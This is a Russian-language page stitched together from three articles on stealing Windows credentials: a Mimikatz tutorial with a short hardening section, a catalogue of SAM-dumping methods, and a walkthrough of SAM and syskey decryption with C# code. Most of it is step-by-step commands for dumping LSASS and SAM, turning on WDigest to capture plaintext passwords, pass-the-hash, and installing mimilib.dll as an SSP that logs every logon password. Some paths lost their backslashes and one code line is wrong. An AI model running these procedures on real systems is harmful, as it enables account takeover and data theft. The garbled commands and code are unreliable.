Как получить хэш пароля windows 10

В этой статье, написанной в рамках серии статьей, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей пользователей Windows с помощью Open Source утилиты Mimikatz.

Программа mimikatz позволяет извлечь из памяти Windows пароли в виде простого текста, хэши паролей, билеты kerberos из памяти и т.д. Также mimikatz позволяет выполнить атаки pass-the-hash, pass-the-ticket или генерировать Golden тикеты. Функционал mimikatz доступен также через Metasploit Framework.

Скачать утилиту mimikatz можно c GitHub: https://github.com/gentilkiwi/mimikatz/releases/. Распакуйте архив mimikatz_trunk.zip в каталог C:Toolsmimikatz. В этом каталоге появятся две версии mimikatz – для x64 и x86. Используйте версию для своей битности Windows.

В этой статье мы покажем, как получить пароли пользователей в Windows Server 2016 или Windows с помощью mimikatz.

Дисклаймер. Информация и технологии, описанные в данной статье, стоит использовать только в информационно-ознакомительных целях, и ни в коем случае не применять для получения доступа к учетным записям, информации и системам третьих лиц.

Извлекаем хэши паролей пользователей из памяти Windows

Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe — Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.

1. Запустите Mimikatz.exe с правами администратора;
2. В контексте утилиты выполните команды:
   mimikatz # privilege::debug
   
   Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege).
3. mimikatz # sekurlsa::logonPasswords full
   
   Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей.
4. В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator.
5. Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие данные:

   anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8)
   Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)

Теперь можно воспользоваться любым офлайн (есть утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/

Как вы видите, сервис быстро нашел значения для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них это администратор домена….).

Как вы видите, благодаря mimikatz мы получили NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.

Примечание. В июне 2017 года многие крупные компании России, Украины и других стран были заражены вирусом-шифровальщиком not-petya, которые для сбора паролей пользователей и администраторов домена использовал в том числе интегрированный модуль mimikatz.

Получение хешей паролей пользователей из дампа памяти Windows

Рассмотренная выше методика получения хэшей пароля не сработает, если на сервере установлен антивирус, блокирующего инъекцию. В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.

Создать дамп памяти процесса в Windows довольно просто. Запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.

Windows сохраните дам памяти в указанную папку.

Вам осталось только разобрать дамп с помощью mimikatz (можно на другом компьютере). Загрузите дамп памяти в mimikatz:

Mimikatz “sekurlsa::minidump C:UsersanovachAppDataLocalTemplsass.DMP”

Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа памяти:

# sekurlsa::logonPasswords

Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.

Также для получения дампа можно использовать утилиту procdump от Sysinterals.

procdump -ma lsass.exe lsass.dmp

Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:

Import-Module .OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Получение паролей пользователей из файлов виртуальных машины и файлов гибернации

Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).

Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования .vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).

Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:

bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp

Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):

.load mimilib.dll

Найдите в дампе процесс lsass.exe:

!process 0 0 lsass.exe

И наконец, выполните:

.process /r /p fffffa800e0b3b30
!mimikatz

В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.

Как узнать пароли пользователей Windows в открытом виде через протокол WDigest?

В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – для корректной работы он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.

Протокол WDigest по-умолчанию отключен во всех новых версиях Windows, в том числе Windows 10 и Windows Server 2016. Но не удален окончательно. Если у вас есть права администратора в Windows, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.

Включите поддержку Wdigest:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1

Обновите GPO:

gpupdate /force

Дождитесь входа пользователей (в Windows 10 нужно пользователю нужно перезайти, в Windows Server 2016 достаточно разблокировать сессию после блокировки экрана) и получите их пароли через mimikatz:

privilege::debug
sekurlsa::wdigest

Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:

Извлекаем пароли локальных пользователей Windows из SAM

С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из SAM так:

privilege::debug
token::elevate
lsadump::sam

Также можно извлечь NTLM хэши SAM из реестра.

1. Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
   reg save hklmsam c:tmpsam.hiv
reg save hklmsecurity c:tmpsec.hiv
   
2. Затем с помощью Mimikatz извлеките хэши паролей:
   privilege::debug
token::elevate
lsadump::sam c:tmpsam.hiv c:tmpsec.hiv

Использование Mimikatz в pass-the-hash атаках

Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:

privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

Также для использования NTLM хэша для выполнения команд на удаленных компьютерах можно использовать утилиту Invoke-TheHash. Позволяет также

Просмотр сохраненных паролей в Windows

В Windows вы можете сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager и показать их вам:

privilege::debug
sekurlsa::credman

Как вы видите, сохраненый пароль показан в секции credman.

Дампим пароли при входе в Windows

Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительно SSP провайдера (Security Support Provider).

1. Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:WindowsSystem32.
2. Зарегистрируйте дополнительного провайдер командой:
   reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberosmsv1_0schannelwdigesttspkgpku2umimilib" /t REG_MULTI_SZ
   
3. При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
   Get-Content C:WindowsSystem32kiwissp.log

Как защитить Windows от извлечения паролей из памяти?

В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS несколько ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest установить параметр DWORD реестра UseLogonCredential равным 0).

Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.

Выше мы показывали, как при наличии прав администратора можно легко установить этот ключ в уязвимое значение. После этого вы опять сможете получить доступ к паролям в памяти LSA.

В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:

• Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
• Отключите Wdiget;
• Отключить NTLM
• Запретить использование сохранённых паролей в Credential Manager
• Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
• Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
• Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
  reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
  . Можно распространить этот параметр реестра на компьютеры через GPO.
• Используйте Credential Guard для защиты содержимого LSA процесса;
• Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.

Выводы. Еще раз напоминаем прописные истины:

• Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
• Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
• Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора (см. гайд об организации защиты учетных записей администраторов в среде Windows);
• Никогда не заходите с учетной записью администратора домена на сервера и компьютеры, доступные другим пользователям.

Автор:Bernardo Damele A. G.

Слегка измененное определение из Википедии:

Менеджер учетных записей безопасности (Security Accounts Manager — SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.

Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.

Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.

Физический доступ

При получении физического доступа к системе, например, когда у вас в руках оказался чужой ноутбук, или когда социальная инженерия закончилась успешно, лучше всего слить хеши паролей следующим образом: во время перезагрузки войти в меню BIOS, изменить приоритет загрузки, так чтобы вначале запускался оптический или USB-привод, сохранить изменения и загрузиться с вашего любимого live CD c дистрибутивом GNU/Linux или с флешки. Есть две широко известные утилиты для дампа хешированных паролей из SAM: bkhive и samdump2:

• bkhive — получает syskey bootkey из куста системы
• samdump2 – получает хеши паролей в Windows 2k/NT/XP/Vista

Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.

Использование:

# bkhive

bkhive 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Пример получения хешей SAM из Windows-раздела /dev/sda1:

# mkdir -p /mnt/sda1

# mount /dev/sda1 /mnt/sda1

# bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved syskey.txt

# samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

Если же bkhive и samdump2 у вас нет, то можно скопировать SYSTEM и SAM файлы из /mnt/sda1/Windows/System32/config себе на флешку, а затем импортировать файлы с флешки в любую утилиту, позволяющую извлечь хеши SAM: например, Cain & Abel, creddump,mimikatz и.т.п.

Обход приглашения на ввод пароля

Если вы вместо того, чтобы получать хешированные пароли пользователей, думаете, как обойти приглашение на ввод пароля, воспользуйтесь следующими оригинальными решениями:

• BootRoot – проект, представленный на конференции Black Hat USA 2005 исследователями Дереком Сёдером (Derek Soeder) и Райаном Пермехом (Ryan Permeh). С помощью технологии BootRoot можно в стандартном загрузочном секторе выполнить код, который во время загрузки уронит ядро Windows. eEye BootRootKit – это NDIS бэкдор, который работает по типу boot-вируса и демонстрирует использование технологии BootRoot.
• SysRQ2 – загрузочный CD-образ, позволяющий пользователю в любое время после загрузки нажатием клавиш Ctrl-Shift-SysRq вызвать командную строку с полными привилегиями (привилегии SYSTEM). SysRQ2 работает на системах Windows 2000, Windows XP и Windows Server 2003. SysRQ2 впервые был продемонстрирован на конференции Black Hat USA 2005 исследователями Дереком Сёдером и Райаном Пермехом в качестве примера использования технологии eEye BootRootKit. Для создания диска с SysRq выберите опцию “создать CD из ISO-образа” в предпочтительном ПО для прожига дисков.
• Kon-Boot – прототип программы, благодаря которой на лету (во время загрузки) можно менять содержимое ядра Linux или Windows. В текущей сборке Kon-Boot позволяет войти в linux-систему под root’ом без ввода пароля или повысить привилегии текущего пользователя до root’а. В случае с Windows-системами с помощью Kon-Boot можно войти в любой защищенный паролем профиль без знания самого пароля.

Сброс пароля

Как вариант, можно загрузиться с live CD или флешки с bootdisk, и с помощью утилиты chntpw сбросить пароль любого локального пользователя Windows.

Использование пост-эксплойтов

В этой ситуации, как правило, система уже скомпрометирована, и вы получили доступ к командной строке с административными правами. Далее нужно повысить свои привилегии до пользователя SYSTEM. Например, с помощью утилиты PsExec из пакета SysInternals:

C:>psexec.exe -i -s cmd.exe

Есть и другие способы повышения привилегии, но их описание останется вне рамок этого поста.

Методы, основанные на унаследованных возможностях Windows

В системах Windows NT и Windows 2000 можно воспользоваться утилитой Ntbackup из подсистемы MS-DOS: сохраните бэкап состояния системы в локальном файле на скомпрометированной машине, а затем снова используйте Ntbackup и восстановите состояние системы в локальном каталоге без сохранения настроек безопасности. По окончании описанной процедуры вы будете обладать файлами SAM и SYSTEM. Первоначальный бэкап Windows 2000 c последними пакетами обновлений и исправлений занимает около 280МБ. Для более современных версий Windows вместо Ntbackup подойдет утилита Wbadmin.

Также стоит упомянуть утилиту regback.exe из пакета Windows 2000 Resource Kit Tools. Утилита слегка упрощает процесс, так как сливаются только нужные файлы:

C:>regback.exe C:backtempSAM machine sam

C:>regback.exe C:backtempSYSTEM machine system

Если regback.exe не срабатывает, то на системах Windows XP и выше можно воспользоваться утилитами regedit.exe и reg.exe:

Использование reg.exe:

C:>reg.exe save HKLMSAM sam

The operation completed successfully

C:>reg.exe save HKLMSYSTEM sys

The operation completed successfully

Использование regedit.exe:

• Выполнить regedit.exe в Start/Run.
• Открыть ветку ComputerHKEY_LOCAL_MACHINE, правой кнопкой мыши щелкнуть по секции SAM и выбрать “Export” (“Экспортировать”).
• Установить значение параметра “Save as type” (“Тип файла”) в “Registry Hive Files” (“Файлы кустов реестра”).
• Проделать то же самое для куста SYSTEM.

И, наконец, еще один способ: файлы SAM и SYSTEM можно достать из каталога C:Windowsrepair. Но существует вероятность, что в каталоге содержаться устаревшие копии нужных файлов, информация о пользователях в которых неактуальна.

Метод, использующий теневое копирование томов

Метод стал известен относительно недавно, и впервые его использование продемонстрировал Тим Томс (Tim Tomes). Метод эксплуатирует функционал теневого копирования томов в современных операционных системах Windows для того, чтобы получить доступ к заблокированным ранее системным файлам, таким как файлы SAM и SYSTEM в каталоге C:WindowsSystem32config.

Для выполнения метода, вы можете воспользоваться cкриптом vssown, который дает возможность управлять теневым копированием.

Список теневых копий:

C:>cscript vssown.vbs /list

Microsoft (R) Windows Script Host Version 5.8

Copyright (C) Microsoft Corporation. All rights reserved.

SHADOW COPIES

=============

Как и ожидалось, сначала никаких теневых копий нет.

Проверим статус службы теневого копирования (VSS):

C:>cscript vssown.vbs /status

Microsoft (R) Windows Script Host Version 5.8

Copyright (C) Microsoft Corporation. All rights reserved.

C:>cscript vssown.vbs /mode

Microsoft (R) Windows Script Host Version 5.8

Copyright (C) Microsoft Corporation. All rights reserved.

Если тип запуска службы “Вручную”, то нам нужно установить тип запуска в первоначальное состояние (“Остановлена”).

Создадим теневую копию:

C:>cscript vssown.vbs /create

Microsoft (R) Windows Script Host Version 5.8

Copyright (C) Microsoft Corporation. All rights reserved.

Проверим, что теневая копия создалась:

C:>cscript vssown.vbs /list

Microsoft (R) Windows Script Host Version 5.8

Copyright (C) Microsoft Corporation. All rights reserved.

Обратите внимание на значение параметров Deviceobject и ID. Значение первого параметра понадобиться для осуществления следующего шага, а значение второго – для очистки.

Достанем следующие файлы из теневой копии:

C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM .C:>copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM .

Таким образом, мы только что скопировали файлы SAM и SYSTEM из теневой копии в папку C:root.

Очистка:

C:>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853}

И, наконец, остановим службу теневого копирования:

C:>cscript vssown.vbs /stop

Методы, основанные на внедрении в память процессов

В основе подобных методов получения SAM-хешей из памяти лежит внедрение DLL в системный процесс LSASS, или, в общем случае, разбиение памяти на отдельные участки и изучение содержимого полученных участков. Манипуляции с памятью могут привести к падению процесса LSASS и Синему Экрану Смерти (BSoD), поэтому предпочтительнее использовать методы, основанные на копировании кустов реестра (regback.exe и reg.exeregedit.exe), либо теневое копирование томов. Тем не менее, в некоторых особых случаях внедрение в память все-таки требуется.

Наиболее известным инструментом для получения хешей SAM, вероятно, является утилита fgdump – улучшенная версия pwdump6; обе утилиты разработаны командой foofus. Основное преимущество fgdump над pwdump заключается в возможности работать на системах Windows Vista и выше. Хотя пару раз я видел, как падали обе утилиты. Среди более стабильных и надежных инструментов можно выделить pwdump7 от Андреса Тараско (Andres Tarasco) и gsecdump от TrueSec. Обе утилиты работают на всех версиях Windows, как 32- так и 64-битных. Нужно отметить, что с контроллеров домена слить хеши паролей с помощью утилиты pwdump7 не получится, так как эта утилита вместо внедрения в LSASS читает хеши SAM из реестра. Еще одна надежная и популярная утилита – это PWDumpX, разработанная Ридом Арвином (Reed Arvin), хотя работает PWDumpX только на 32х разрядных системах.

Ниже на скриншоте показан дамп информации из SAM, полученной утилитой gsecdump на Windows Server 2003 SP2 32-bit:

Дамп информации о локальных пользователях после внедрения кода в процесс LSASS

В Metasploit Framework также имеются собственные модули пост-эксплойта, встроенные команды и скрипты для Meterpreter, позволяющие получить хеши SAM. Подробнее о работе кода и о том, какие идеи лежат в его основе можно прочитать в этих постах.

Разумеется, существует и множество других инструментов и методов, и важно знать, какой именно метод подходит для конкретной системы. Чтобы облегчить выбор, я создал сводную электронную таблицу, в которой перечислены нужные утилиты, их возможности и принципы работы, и, что самое важное, возможные проблемы при использовании таких утилит.

Изменения на 4 января 2012 г.

• Дэвид Мэлони (David Maloney) добавил в Metasploit Framework модули, позволяющие работать с процессом теневого копирования томов.
• TrueSec обновил gsecdump до версии v.2.0b5. Последняя версия стабильно работает на всех версиях Windows (как на 32х-, так и на 64х-разрядных). 

Время прочтения
7 мин

Просмотры 85K

Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.

Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита psExec от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.

V-блок

Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.

Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу HKLMSAMSAMDomainsAccountusers[RID]V
, известном как V-блок. Раздел SAM находится в соответствующем файле c:WindowsSystem32configSAM. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку HKLMSAMSAMDomainsAccountusersnames<имя пользователя> (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:

PsExec.exe -s -i -d regedit.

Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:

От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:

Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac

В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.

Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)

int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;
userVblock — значение HKLMSAMSAMDomainsAccountusers\V в виде массива байт.
Еще про V-блок можно почитать тут.

Алгоритмы

Теперь разберемся в алгоритмах шифрования.
Формирование NT-хэша:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
Формирование LM-хэша:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.

4. В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.

Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID’ов пользователей, расшифровываем хэши DES’ом
3. Полученые хэши атакуем перебором.

Bootkey

Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:

HKLMSystemCurrentControlSetControlLsaJD
HKLMSystemCurrentControlSetControlLsaSkew1
HKLMSystemCurrentControlSetControlLsaGBG
HKLMSystemCurrentControlSetControlLsaData

Раздел system находится в файле c:WindowsSystem32configsystem

Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLMSYSTEMSelectdefault.
например если HKLMSYSTEMSelectdefault = 1 — вместо HKLMSystemCurrentControlSet ищем в HKLMSystemcontrolset001

У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция RegQueryInfoKey.
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:

Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaJD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSkew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaGBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaData
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}

Собраный из четырех частей ключ будет массивом байт:

scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};

Далее элементы этого массива переставляются на основе некоторого константного массива p

int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };
Элементы в этом массиве определяют позиции для перестановок, т.е.

key[i] = scrambled_key[p[i]];

В нашем примере получится массив:

key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };

этот массив и есть так называемый bootkey. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.

Hashed bootkey

для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):

string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
string anum = "0123456789012345678901234567890123456789";
Также понадобится F-блок пользователя (HKLMSAMSAMDomainsAccountusers\F), а именно его 16 байт: F[0x70:0x80]

На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4

rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).

Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока F[0x80:0xA0];

hashedBootkey = RC4(rc4_key,F[0x80:0xA0])

Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.

Дешифруем пароли с помощью Hashed Bootkey

для паролей LM и NT нам понадобятся еще 2 строковые константы —

string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";

а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (hashedBootkey[0x0:0x10]);
Все это склеивается в один массив байт и считается MD5 по правилам:
rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);

полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя

userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);

На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу

DES

На основе четырех байт RID’а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}

Ну здесь особо комментировать нечего, кроме функции des_set_odd_parity(ref key) — это одна из функций библиотеки openssl, задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.

Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES’ом -одна половина зашифрована ключем сформированым функцией sid_to_key1, вторая — sid_to_key2.
obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);

